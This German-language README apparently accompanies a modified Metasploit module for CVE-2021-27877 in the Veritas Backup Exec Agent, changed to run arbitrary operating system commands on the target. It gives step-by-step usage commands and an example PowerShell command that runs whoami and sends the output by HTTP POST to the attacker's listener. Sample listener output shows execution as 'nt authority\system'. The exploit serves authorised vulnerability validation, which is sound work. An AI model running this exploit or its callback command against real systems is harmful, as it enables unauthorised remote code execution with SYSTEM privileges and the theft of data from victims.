
Eine modifizierte Version des Rapid7-Metasploit-Moduls für CVE-2021-27877, die eine direkte Befehlsausführung zur zuverlässigen Schwachstellenvalidierung unterstützt. Enthält Dokumentation, die den Exploit-Workflow, die Modulmodifikationen und Anwendungsbeispiele erläutert.
Dieses Repository enthält eine modifizierte Version des ursprünglichen Rapid7-Metasploit-Moduls für CVE-2021-27877, die den Veritas Backup Exec Agent betrifft.
Während meiner Tests identifizierte das ursprüngliche Metasploit-Modul das Ziel erfolgreich als anfällig, scheiterte jedoch stets beim Aufbau einer Sitzung, da die Nutzlastzustellung fehlschlug. Die Analyse des Moduls zeigte jedoch, dass die Authentifizierung und die zugrunde liegende Befehlsausführungsfunktionalität korrekt funktionierten.
Um die Schwachstellenvalidierung zu vereinfachen, habe ich das Modul so modifiziert, dass es direkt vom Benutzer bereitgestellte Betriebssystembefehle über die anfällige NDMP-Befehlsausführungsfunktionalität ausführt, anstatt eine Nutzlast hochzuladen und auszuführen. Dies erleichtert die Bestätigung der Remote-Code-Ausführung, ohne auf eine Reverse-Shell oder Nutzlast-Bereitstellung angewiesen zu sein.
Hinweis: Dieser Machbarkeitsnachweis dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Verwenden Sie ihn nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Genehmigung zur Prüfung haben.
Anmerkung: Zum Schutz der während der Tests verwendeten Umgebung wurden alle IP-Adressen in diesem Repository anonymisiert. In den Beispielen stellt
192.168.x.xdas Zielsystem dar, während192.168.y.ydas angreifende System oder den Listener repräsentiert. Diese Ersetzungen beeinträchtigen nicht die Funktionalität des Machbarkeitsnachweises.
Im Vergleich zum ursprünglichen Rapid7-Modul wurden die folgenden Änderungen vorgenommen:
COMMAND hinzugefügt.Kopieren Sie das modifizierte Modul in Ihr lokales Metasploit-Modulverzeichnis.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Starten (oder starten Sie neu) Metasploit und laden Sie die lokalen Module neu:
msfconsole
reload_all
Starten Sie vor dem Ausführen des Moduls einen HTTP-Listener (oder einen beliebigen Webserver, der HTTP-POST-Anfragen empfangen und anzeigen kann). Dieser Listener empfängt die Ausgabe des auf dem Ziel ausgeführten Befehls.
Sie können beispielsweise einen einfachen Python-HTTP-Server mit einem benutzerdefinierten Request-Handler, nc oder einen beliebigen HTTP-Listener Ihrer Wahl verwenden.
Laden Sie das Modul:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Konfigurieren Sie die erforderlichen Optionen:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
Die Option COMMAND akzeptiert jeden Befehl, den Sie auf dem Ziel ausführen möchten.
Dieses Modul ist darauf ausgelegt, einen einzelnen Befehl auszuführen und gibt die Befehlsausgabe nicht automatisch zurück.
Um die Ausgabe abzurufen, verwenden Sie einen geeigneten Rückrufmechanismus in Ihrem Befehl (z. B. eine HTTP-POST-Anfrage oder einen anderen ausgehenden Kanal) und überwachen Sie Ihren Listener.
Beispiel für Listener-Ausgabe:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system